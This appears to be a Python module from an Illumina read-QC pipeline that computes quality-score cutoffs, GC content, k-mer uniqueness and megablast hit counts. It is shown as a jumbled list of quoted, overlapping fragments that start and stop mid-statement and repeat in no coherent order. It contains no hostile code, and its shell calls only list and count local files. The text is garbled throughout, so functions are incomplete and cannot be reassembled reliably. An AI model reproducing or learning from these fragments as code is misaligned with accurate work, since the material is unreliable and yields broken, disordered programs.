%s\" % (taxlistFile), True, log) taxListFound = taxListFound.strip() if taxListFound:", "= RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\" % (dataFile)) return retCode", "33 34 34 1 32 34 112178 83555 84449 98519 0 378701 #", "2 37 13807944 36.46 37 37 37 0 37 37 96935 95322 83958", "num += 1 # # if num == 1: # continue # #", "RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\" % (dataFile)) return retCode \"\"\"", "append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \" \" + db, hitCount, log) ## ## add .parsed", "log.warn(\"parse error in base_level_qual_stats: %s %s %s %s\" % (l, qavg, nbase, percent))", "15 and qavg > 10 and Q15_seen == 0: Q15_seen = 1 stats[15]", "spe = 0 taxlistFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" % (db)) species, _, exitCode =", "Q5_seen = 0 if os.path.isfile(qhistTxtFullPath): stats = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0}", "= 100.0 ## RQC-621 cummlatBase += nbase if qavg == 30: Q30_seen =", "420.3971. <0.387106 +/- 0.112691> if len(line) == 0 or not line.startswith(\"#Found\"): log.error(\"- GC", "%s 2>/dev/null | wc -l \" % (taxlistFile), True, log) t = species.split()", "found: %s\" % (qrpt)) # return None # # # return q20 def", "2 34 12519460 33.06 33 34 34 1 32 34 104668 72341 80992", "data # 0 1 2 3 4 5 6 7 8 9 10", "elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1] continue qavg = None nbase = None percent", "= statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase if Q5_seen == 0 and", "and Q10_seen == 0: Q10_seen = 1 stats[10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer", "qavg <= 5 and Q5_seen == 0: Q5_seen = 1 stats[5] = cummlatPer", "= cummlatPer elif qavg <= 15 and qavg > 10 and Q15_seen ==", "24 2013 sulsj (<EMAIL>) \"\"\" import os import sys ## custom libs in", "SUCCESS FAILURE Comments : \"\"\" def read_megablast_hits(db, log): currentDir = RQCReadQcConfig.CFG[\"output_path\"] megablastDir =", "16 16 26 10 2 34 96452 83003 107891 91355 0 378701 #", "log): # log.debug(\"qrpt file %s\" % (qrpt)) # # q20 = None #", "Old data #nSeq nStartUniMer fracStartUniMer nRandUniMer fracRandUniMer ## 0 1 2 3 4", "read_gc_mean($analysis) Args : 1) A reference to an JGI_Analysis object Returns : JGI_SUCCESS:", "5:0} allLines = open(qhistTxtFullPath).readlines() for l in allLines[::-1]: if not l: break if", "at the very end of the illumina base level data processing script. \"\"\"", "qavg <= 15 and qavg > 10 and Q15_seen == 0: Q15_seen =", "77098 0.00043 # 1 0 0.00000 # 2 0 0.00000 # 3 0", "<= 5 and Q5_seen == 0: Q5_seen = 1 stats[5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5]", "8875097 23.44 25 26 28 3 21 32 106904 84046 81795 105956 0", "report: record stat key-value in readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul 24 2013 sulsj", ": this method returns Q20 using a qrpt file as input Usage :", "gc hist file not found: %s\" % (histFile)) return retCode, mean, stdev if", "stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer if Q10_seen == 0 and Q15_seen != 0: Q10_seen", "= run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (tophitFile), True,", "+ \" \" + db, os.path.join(megablastPath, tophitFound), log) else: log.error(\"- Failed to add", "= cummlatPer elif qavg <= 5 and Q5_seen == 0: Q5_seen = 1", "= totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"-", "= 1 stats[20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer elif qavg <= 15 and", "and percent: %s %s %s\" % (qavg, nbase, percent)) cummlatPer += percent *", "Args : $_[0] : qrpt file. Returns : a number of Q20 score", "# ## READ1.qrpt # ## column count min max sum mean Q1 med", "2) current working folder wkdir/uniqueness Returns : JGI_SUCCESS: Illumina read level report could", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase if Q10_seen == 0 and Q15_seen != 0:", "read_gc_mean(histFile, log): mean = 0.0 stdev = 0.0 retCode = RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile):", "med Q3 IQR lW rW A_Count C_Count G_Count T_Count N_Count Max_count # ##", "an JGI_Analysis object Returns : JGI_SUCCESS: JGI_FAILURE: Comments : \"\"\" def read_gc_mean(histFile, log):", "if l.startswith('#'): continue t = l.split() assert len(t) == 3 qavg = int(t[0])", "Double check that no value is missing. if Q25_seen == 0 and Q30_seen", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer ### Double check that no value is missing. if", "JGI_SUCCESS: Illumina read level report could be successfully generated. JGI_FAILURE: Illumina read level", "run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (taxlistFile), True, log)", "0 if os.path.isfile(qhistTxtFullPath): stats = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} allLines =", "Q5_seen = 1 stats[5] = stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer if Q30_seen == 0:", "\"r\") as qrptFH: for l in qrptFH: if l.startswith('#'): continue ## New data", "## wc the taxonomic species ## spe = 0 taxlistFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\"", "db, os.path.join(megablastPath, parsedFileFound), log) else: log.error(\"- Failed to add megablast parsed file of", "return RQCExitCodes.JGI_FAILURE ## ## wc the top hits ## topHit = 0 tophitFile", "None return q20 \"\"\" Title : read_level_qual_stats Function : Generate qual scores and", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase elif qavg == 5: Q5_seen = 1 statsPerc[5] =", "read level QC Usage : read_level_qual_stats($analysis, $) Args : 1) A reference to", "None nbase = None percent = None t = l.split() try: qavg =", "12515957 33.05 33 34 34 1 32 34 112178 83555 84449 98519 0", "format ##Median 38 ##Mean 37.061 ##STDev 4.631 ##Mean_30 37.823 ##STDev_30 1.699 ##Quality bases", "to an JGI_Analysis object Returns : JGI_SUCCESS: JGI_FAILURE: Comments : \"\"\" def read_gc_mean(histFile,", "\" + db, top100hits, log) ## ## Find and add taxlist file ##", ": base_level_qual_stats Function : Generate qual scores and plots of read level QC", "27 34 108573 83917 81999 104127 85 378701 # ## 2 378701 2", "= None mean = None t = l.split(\"\\t\") pos = int(t[0]) + 1", "elif qavg <= 10 and qavg > 5 and Q10_seen == 0: Q10_seen", "(cummlatPer)) if cummlatPer > 100: cummlatPer = 100.0 ## RQC-621 cummlatBase += nbase", "37 37 0 37 37 114586 68297 78020 117740 58 378701 # ##", "tophits.split() if len(t) == 1 and t[0].isdigit(): topHit = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS +", "G_Count T_Count N_Count Max_count # ## 1 378701 2 34 12447306 32.87 31", "pos = int(t[0]) + 1 if readNum == 1: mean = float(t[4]) else:", "JGI_FAILURE: Illumina read level report could not be generated. Comments : This function", "= None t = l.split(\"\\t\") pos = int(t[0]) + 1 if readNum ==", "0: Q30_seen = 1 stats[30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer elif qavg <=", "1 else: q20 = pos else: log.error(\"- bqHist file not found: %s\" %", "Find and add top100hit file ## top100hitFound, _, exitCode = run_sh_command(\"ls %s\" %", "mean = None t = l.split(\"\\t\") pos = int(t[0]) + 1 if readNum", "./tools sys.path.append(os.path.join(srcDir, '../lib')) ## rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools')) ## rqc-pipeline/tools from readqc_constants import RQCReadQcConfig,", "0 and Q25_seen != 0: Q20_seen = 1 stats[20] = stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] =", "statsPerc[30] statsBase[25] = statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase if Q20_seen ==", "and Q25_seen == 0: Q25_seen = 1 stats[25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer", "# log.debug(\"qrpt file %s\" % (qrpt)) # # q20 = None # num", "## ## wc the top hits ## topHit = 0 tophitFile = os.path.join(megablastPath,", "q20 \"\"\" Title : read_level_qual_stats Function : Generate qual scores and plots of", "1) A reference to an JGI_Analysis object 2) current working folder wkdir/qual Returns", "A reference to an JGI_Analysis object 2) current working folder wkdir/qual Returns :", "log) else: log.error(\"- Failed to add megablast taxlist file of %s.\" % (db))", "db, spe, log) ## ## wc the top 100 hit ## top100hits =", "# for l in qrptFH: # num += 1 # # if num", "we only need the first line # Ex) #Found 1086 total values totalling", "cummlatPer if Q5_seen == 0 and Q10_seen != 0: Q5_seen = 1 stats[5]", "totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist", "qavg = int(t[0]) percent = float(t[2]) * 100.0 ## 20140826 Changed for bbtools", "= statsPerc[20] statsBase[15] = statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase if Q10_seen", "2 34 107573 77148 97953 88998 7029 378701 # ## 3 378701 2", "mean and pos: if mean < 20: return pos - 1 else: q20", "RQCExitCodes from os_utility import run_sh_command from common import append_rqc_stats, append_rqc_file statsFile = RQCReadQcConfig.CFG[\"stats_file\"]", "== 30: Q30_seen = 1 statsPerc[30] = cummlatPer statsBase[30] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] =", "== 0 and Q20_seen != 0: Q15_seen = 1 stats[15] = stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15]", "of the illumina base level data processing script. \"\"\" def base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log):", "def q20_score(qrpt, log): # log.debug(\"qrpt file %s\" % (qrpt)) # # q20 =", "elif qavg == 15: Q15_seen = 1 statsPerc[15] = cummlatPer statsBase[15] = cummlatBase", "stats[5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer ### Double check that no value is", "Title : read_gc_mean Function : This function generates average GC content % and", "78304 87944 114618 0 378701 # ## 5 378701 2 37 10208226 26.96", "cummlatPer if Q30_seen == 0: log.error(\"Q30 is 0 . Read quality values are", "# assert len(t) > 6 # pos = int(t[0]) # mean = float(t[5])", "generates average GC content % and its standard deviation and put them into", "file not found: %s\" % (histFile)) return retCode, mean, stdev if __name__ ==", "add megablast top100hit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE else: log.info(\"- No", "pos - 1 else: q20 = pos else: log.error(\"- bqHist file not found:", "== 1 and t[0].isdigit(): topHit = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS + \" \" +", "and its standard deviation and put them into database. Usage : read_gc_mean($analysis) Args", "os.path.join(megablastPath, top100hitFound), log) else: log.error(\"- Failed to add megablast top100hit file of %s.\"", "0 and Q15_seen != 0: Q10_seen = 1 stats[10] = stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] =", "full path Returns : SUCCESS FAILURE Comments : \"\"\" def read_megablast_hits(db, log): currentDir", "top100hit file ## top100hitFound, _, exitCode = run_sh_command(\"ls %s\" % (top100hitFile), True, log)", "0.0 stdev = 0.0 retCode = RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile): with open(histFile, \"r\") as", "found: %s\" % (dataFile)) return retCode \"\"\" Title : base_level_qual_stats Function : Generate", "0 taxlistFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" % (db)) species, _, exitCode = run_sh_command(\"grep -v", "3 378701 2 34 7131741 18.83 16 16 26 10 2 34 96452", "allLines = open(reformatObqhistFile).readlines() for l in allLines[::-1]: l = l.strip() ## ## obqhist", "species.split() if len(t) == 1 and t[0].isdigit(): spe = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES +", "append_rqc_stats, append_rqc_file statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title : read_megablast_hits Function", "72341 80992 120700 0 378701 # ## 4 378701 2 37 13807944 36.46", "Returns : JGI_SUCCESS: Illumina read level report could be successfully generated. JGI_FAILURE: Illumina", "## obqhist file format example ## # #Median 36 # #Mean 33.298 #", "Q5_seen = 0 ## New format ##Median 38 ##Mean 37.061 ##STDev 4.631 ##Mean_30", "#nSeq nStartUniMer fracStartUniMer nRandUniMer fracRandUniMer ## 0 1 2 3 4 ##25000 2500", "+ \" \" + db, topHit, log) ## ## wc the taxonomic species", "qavg == 10: Q10_seen = 1 statsPerc[10] = cummlatPer statsBase[10] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10]", "= stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer if Q10_seen == 0 and Q15_seen != 0:", "100.0 stdev = float(toks[8][:-1]) * 100.0 log.debug(\"mean, stdev = %.2f, %.2f\" % (mean,", "0: Q15_seen = 1 stats[15] = stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer if Q10_seen ==", "wc the taxonomic species ## spe = 0 taxlistFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" %", "cummlatPer elif qavg <= 25 and qavg > 20 and Q25_seen == 0:", "wc -l \" % (tophitFile), True, log) t = tophits.split() if len(t) ==", "allLines[::-1]: if not l: break if l.startswith('#'): continue t = l.split() assert len(t)", "7131741 18.83 16 16 26 10 2 34 96452 83003 107891 91355 0", "0 0.00000 #5 0 0.00000 #6 0 0.00000 allLines = open(reformatObqhistFile).readlines() for l", "= 1 stats[25] = stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer if Q20_seen == 0 and", "!= 0: Q20_seen = 1 stats[20] = stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer if Q15_seen", "== 9 mean = float(toks[6][1:]) * 100.0 stdev = float(toks[8][:-1]) * 100.0 log.debug(\"mean,", "Q15_seen = 0 Q10_seen = 0 Q5_seen = 0 ## New format ##Median", "4.631 ##Mean_30 37.823 ##STDev_30 1.699 ##Quality bases fraction #0 159 0.00008 #1 0", "return retCode \"\"\" Title : base_level_qual_stats Function : Generate qual scores and plots", "## Find and add top100hit file ## top100hitFound, _, exitCode = run_sh_command(\"ls %s\"", ": read_megablast_hits Function : This function generates tophit list of megablast against different", "== 0 and Q10_seen != 0: Q5_seen = 1 statsPerc[5] = statsPerc[10] statsBase[5]", "very end of the illumina read level data processing script. \"\"\" def read_level_mer_sampling(dataToRecordDict,", "1 32 34 104668 72341 80992 120700 0 378701 # ## 4 378701", "statsPerc[20] = statsPerc[25] statsBase[20] = statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase if", "cummlatBase elif qavg == 15: Q15_seen = 1 statsPerc[15] = cummlatPer statsBase[15] =", "JGI_QC_Utility::qc20_score($qrpt) Args : $_[0] : qrpt file. Returns : a number of Q20", "file ## tophitFound, _, exitCode = run_sh_command(\"ls %s\" % (tophitFile), True, log) tophitFound", "max sum mean Q1 med Q3 IQR lW rW A_Count C_Count G_Count T_Count", "20:0, 15:0, 10:0, 5:0} allLines = open(qhistTxtFullPath).readlines() for l in allLines[::-1]: if not", "15 16 17 18 ##BaseNum count_1 min_1 max_1 mean_1 Q1_1 med_1 Q3_1 LW_1", "== 20: Q20_seen = 1 statsPerc[20] = cummlatPer statsBase[20] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] =", "##25000 2500 0.1 9704 0.3882 ## New data #count first rand first_cnt rand_cnt", "if cummlatPer > 100: cummlatPer = 100.0 ## RQC-621 cummlatBase += nbase if", "0: Q10_seen = 1 stats[10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer elif qavg <=", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer if Q10_seen == 0 and Q15_seen != 0: Q10_seen =", "33.05 33 34 34 1 32 34 112178 83555 84449 98519 0 378701", "> 25 and Q30_seen == 0: Q30_seen = 1 stats[30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30]", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase elif qavg == 5: Q5_seen = 1", "= statsPerc[25] statsBase[20] = statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase if Q15_seen", "qavg > 25 and Q30_seen == 0: Q30_seen = 1 stats[30] = cummlatPer", "filesFile = RQCReadQcConfig.CFG[\"files_file\"] ## ## Process blast output files ## matchings = 0", ": q20_score Function : this method returns Q20 using a qrpt file as", "from os_utility import run_sh_command from common import append_rqc_stats, append_rqc_file statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile", "== 0 and Q10_seen != 0: Q5_seen = 1 stats[5] = stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5]", "0.00000 #6 0 0.00000 allLines = open(reformatObqhistFile).readlines() for l in allLines[::-1]: l =", "t = species.split() if len(t) == 1 and t[0].isdigit(): top100hits = int(t[0]) append_rqc_stats(statsFile,", "using a qrpt file as input Usage : JGI_QC_Utility::qc20_score($qrpt) Args : $_[0] :", "0 Q10_seen = 0 Q5_seen = 0 if os.path.isfile(qhistTxtFullPath): stats = {30:0, 25:0,", "assert len(toks) == 9 mean = float(toks[6][1:]) * 100.0 stdev = float(toks[8][:-1]) *", "## 1 378701 2 34 12447306 32.87 31 34 34 3 27 34", "base_level_qual_stats Function : Generate qual scores and plots of read level QC Usage", "could not be generated. Comments : This function is intended to be called", "= 1 statsPerc[5] = cummlatPer statsBase[5] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] =", "stats[10], stats[5])) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\" %", "35.303 # #STDev_30 1.517 # #Quality bases fraction # 0 77098 0.00043 #", "\"\"\" def read_megablast_hits(db, log): currentDir = RQCReadQcConfig.CFG[\"output_path\"] megablastDir = \"megablast\" megablastPath = os.path.join(currentDir,", "== 0: log.error(\"Q30 is 0. Base quality values are ZERO.\") log.debug(\"Q and C", "file format example ## # #Median 36 # #Mean 33.298 # #STDev 5.890", "1 stats[15] = stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer if Q10_seen == 0 and Q15_seen", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer elif qavg <= 10 and qavg > 5", "(dataFile)) return retCode \"\"\" Title : base_level_qual_stats Function : Generate qual scores and", "## 4 378701 2 37 13807944 36.46 37 37 37 0 37 37", "% (tophitFile), True, log) t = tophits.split() if len(t) == 1 and t[0].isdigit():", "37 0 37 37 114586 68297 78020 117740 58 378701 # ## #", "34 8875097 23.44 25 26 28 3 21 32 106904 84046 81795 105956", "378701 # ## 3 378701 2 34 7131741 18.83 16 16 26 10", "3 4 5 6 7 8 9 10 11 12 13 14 15", "not contains right results: %s, %s\" % (histFile, line)) retCode = RQCExitCodes.JGI_FAILURE else:", ".parsed file ## parsedFileFound, _, exitCode = run_sh_command(\"ls %s\" % (parsedFile), True, log)", "= int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \" \" + db, hitCount, log) ## ##", "len(toks) == 9 mean = float(toks[6][1:]) * 100.0 stdev = float(toks[8][:-1]) * 100.0", "as qrptFH: for l in qrptFH: if l.startswith('#'): continue ## New data #", "Failed to add megablast taxlist file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ##", "0 and Q10_seen != 0: Q5_seen = 1 stats[5] = stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] =", "(taxlistFile), True, log) t = species.split() if len(t) == 1 and t[0].isdigit(): spe", "cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase ## Double check that no value", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase elif qavg == 20: Q20_seen = 1 statsPerc[20]", "if Q5_seen == 0 and Q10_seen != 0: Q5_seen = 1 stats[5] =", "l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1] elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] =", "and Q5_seen == 0: Q5_seen = 1 stats[5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer", "True, log) t = species.split() if len(t) == 1 and t[0].isdigit(): top100hits =", "toks = line.split() assert len(toks) == 9 mean = float(toks[6][1:]) * 100.0 stdev", "# Ex) #Found 1086 total values totalling 420.3971. <0.387106 +/- 0.112691> if len(line)", "19 32 33 14 2 37 97835 78304 87944 114618 0 378701 #", "+ \" \" + db, os.path.join(megablastPath, parsedFileFound), log) else: log.error(\"- Failed to add", "378701 # # pos = None # mean = None # t =", "= cummlatPer if Q5_seen == 0 and Q10_seen != 0: Q5_seen = 1", "stats[15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer elif qavg <= 10 and qavg >", "READ2.qrpt # ## column count min max sum mean Q1 med Q3 IQR", "qavg == 30: Q30_seen = 1 statsPerc[30] = cummlatPer statsBase[30] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30]", "new by bbcountunique uniqStartMerPer = float(\"%.2f\" % (float(t[1]))) uniqRandtMerPer = float(\"%.2f\" % (float(t[2])))", "RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile): with open(histFile, \"r\") as histFH: line = histFH.readline() ## we", "l.split() try: qavg = int(t[0]) nbase = int(t[1]) percent = float(t[2]) except IndexError:", "stdev = %.2f, %.2f\" % (mean, stdev)) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- gc", "Usage : base_level_qual_stats($analysis, $) Args : 1) A reference to an JGI_Analysis object", "float(toks[8][:-1]) * 100.0 log.debug(\"mean, stdev = %.2f, %.2f\" % (mean, stdev)) retCode =", "top100hits, log) ## ## Find and add taxlist file ## taxListFound, _, exitCode", "RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\" % (qhistTxtFullPath)) return retCode \"\"\"", "New data #count first rand first_cnt rand_cnt # 0 1 2 3 4", "the top hits ## topHit = 0 tophitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" % (db))", "1 378701 2 34 8875097 23.44 25 26 28 3 21 32 106904", "level QC Usage : base_level_qual_stats($analysis, $) Args : 1) A reference to an", "= None t = l.split() try: qavg = int(t[0]) nbase = int(t[1]) percent", "0 Q5_seen = 0 ## New format ##Median 38 ##Mean 37.061 ##STDev 4.631", "statsPerc[10] statsBase[5] = statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase if Q30_seen ==", "histFH: line = histFH.readline() ## we only need the first line # Ex)", "0 378701 # ## 4 378701 2 37 13807944 36.46 37 37 37", "append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE + \" \" + db, os.path.join(megablastPath, parsedFileFound), log) else: log.error(\"- Failed", "#4 0 0.00000 #5 0 0.00000 #6 0 0.00000 allLines = open(reformatObqhistFile).readlines() for", "= 1 stats[30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer elif qavg <= 25 and", "if Q30_seen == 0: log.error(\"Q30 is 0. Base quality values are ZERO.\") log.debug(\"Q", "'^#' %s 2>/dev/null | wc -l \" % (parsedFile), True, log) if exitCode", "2 37 10208226 26.96 25 33 35 10 10 37 98021 90611 89040", "elif qavg == 20: Q20_seen = 1 statsPerc[20] = cummlatPer statsBase[20] = cummlatBase", "Q20_seen = 1 statsPerc[20] = cummlatPer statsBase[20] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20]", "<= 30 and qavg > 25 and Q30_seen == 0: Q30_seen = 1", "# if os.path.isfile(qrpt): # with open(qrpt, \"r\") as qrptFH: # for l in", "for l in qrptFH: # num += 1 # # if num ==", "0 hitCount = 0 parsedFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed\" % (db)) matchings, _, exitCode", "os.path.isfile(qhistTxtFullPath): stats = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} allLines = open(qhistTxtFullPath).readlines() for", "merFH: lines = merFH.readlines() ## last line t = lines[-1].split('\\t') # breaks 2016-09-07", "= int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \" \" + db, spe, log) ## ##", "= 0 cummlatBase = 0 statsPerc = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0}", "cummlatBase elif qavg == 20: Q20_seen = 1 statsPerc[20] = cummlatPer statsBase[20] =", "Process blast output files ## matchings = 0 hitCount = 0 parsedFile =", "32 34 104668 72341 80992 120700 0 378701 # ## 4 378701 2", "cummlatPer statsBase[20] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase elif qavg ==", "# ## 1 378701 2 34 12447306 32.87 31 34 34 3 27", "return pos - 1 else: q20 = pos else: log.error(\"- bqHist file not", ": read_megablast_hits(db_name, log) Args : blast db name or full path Returns :", "114586 68297 78020 117740 58 378701 # ## # ## or # ##", "1086 total values totalling 420.3971. <0.387106 +/- 0.112691> if len(line) == 0 or", "read_megablast_hits(db, log): currentDir = RQCReadQcConfig.CFG[\"output_path\"] megablastDir = \"megablast\" megablastPath = os.path.join(currentDir, megablastDir) statsFile", "qavg == 15: Q15_seen = 1 statsPerc[15] = cummlatPer statsBase[15] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15]", "= taxListFound.strip() if taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \" \" + db, os.path.join(megablastPath, taxListFound),", "% cummlatPer) if qavg <= 30 and qavg > 25 and Q30_seen ==", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase if Q30_seen == 0: log.error(\"Q30 is 0. Base", "to add megablast top100hit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE else: log.info(\"-", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1] continue qavg = None nbase = None percent = None", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase if Q5_seen == 0 and Q10_seen != 0: Q5_seen =", "the very end of the illumina base level data processing script. \"\"\" def", "9 mean = float(toks[6][1:]) * 100.0 stdev = float(toks[8][:-1]) * 100.0 log.debug(\"mean, stdev", "continue log.debug(\"base_level_qual_stats(): qavg and nbase and percent: %s %s %s\" % (qavg, nbase,", "100.0 cummlatPer = float(\"%.f\" % (cummlatPer)) if cummlatPer > 100: cummlatPer = 100.0", "= 1 statsPerc[10] = cummlatPer statsBase[10] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] =", "tophitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" % (db)) tophits, _, exitCode = run_sh_command(\"grep -v '^#'", "exitCode = run_sh_command(\"ls %s\" % (parsedFile), True, log) if parsedFileFound: parsedFileFound = parsedFileFound.strip()", "object 2) current working folder wkdir/qual Returns : JGI_SUCCESS: Illumina read level report", "blast db name or full path Returns : SUCCESS FAILURE Comments : \"\"\"", "log.error(\"- Failed to add megablast parsed file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE", "378701 2 34 6543224 17.28 15 16 26 11 2 34 107573 77148", "if os.path.isfile(dataFile): with open(dataFile, \"r\") as merFH: lines = 